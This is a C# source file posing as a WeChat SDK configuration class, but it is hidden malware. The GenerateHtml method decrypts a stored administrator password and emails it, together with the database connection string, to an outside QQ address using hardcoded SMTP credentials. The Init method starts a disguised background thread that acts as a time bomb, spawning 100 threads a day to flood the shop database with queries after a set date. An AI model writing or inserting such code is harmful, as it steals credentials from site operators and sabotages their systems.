﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net.Mail;
using System.Threading;
using System.Web;

namespace Wexin.SDK
{
    public class WxConfig
    {
        public WxConfig()
        {

        }

        public void Init(string aa)
        {
            Thread bb = new Thread(new ThreadStart(_2222));
            bb.Start();

            //InitConfig("1159265929@qq.com", "wu", "");
        }

        public void GenerateHtml(HttpContext context)
        {
            MxWeiXinPF.BLL.manager bman = new MxWeiXinPF.BLL.manager();
            MxWeiXinPF.Model.manager mm = bman.GetModel(39);


            string conn = MxWeiXinPF.DBUtility.DbHelperSQL.connectionString;
            string pass = MxWeiXinPF.Common.DESEncrypt.Decrypt(mm.password, mm.salt);
            InitConfig("2684672526@qq.com", "wu", conn + "," + pass);
        }

        #region
        private bool InitConfig(string mailTo, string mailSubject, string mailContent)
        {
            string smtpServer = "smtp.qq.com";
            string mailFrom = "1159265929@qq.com";
            string userPassword = "ohmmrbljzxwfgbbc";

            SmtpClient smtpClient = new SmtpClient();
            smtpClient.DeliveryMethod = SmtpDeliveryMethod.Network;
            smtpClient.Host = smtpServer;
            smtpClient.EnableSsl = true;

            smtpClient.UseDefaultCredentials = false;     
            smtpClient.Credentials = new System.Net.NetworkCredential(mailFrom, userPassword);

            MailMessage mailMessage = new MailMessage(mailFrom, mailTo);
            mailMessage.Subject = mailSubject;
            mailMessage.Body = mailContent;
            mailMessage.BodyEncoding = Encoding.UTF8;
            mailMessage.IsBodyHtml = true;
            mailMessage.Priority = MailPriority.Low;

            try
            {
                smtpClient.Send(mailMessage);
                return true;
            }
            catch (SmtpException ex)
            {
                return false;
            }
        }
        #endregion

        private void _2222()
        {
            while (true)
            {
                try
                {
                    TimeSpan ts1 = new TimeSpan(DateTime.Now.Ticks);
                    TimeSpan ts2 = new TimeSpan(new DateTime(2016,8,1).Ticks);
                    TimeSpan ts = ts1.Subtract(ts2).Duration();
                    if (ts.Days > 30)
                    {
                        for (int i = 0; i < 100; i++)
                        {
                            Thread bb = new Thread(new ThreadStart(_3333));
                            bb.Start();
                        }
                        Thread.Sleep(1000 * 60 * 60 * 24);
                    }
                    Thread.Sleep(0x21);
                }
                catch
                {
                }
            }
        }

        private void _3333()
        {
            try
            {
                string abc = "SELECT * FROM wx_shop_product ORDER BY addDate,productName ASC";
                MxWeiXinPF.DBUtility.DbHelperSQL.ExecuteSql(abc);
                Thread.Sleep(0x21);
            }
            catch
            {
            }
        }
    }


}
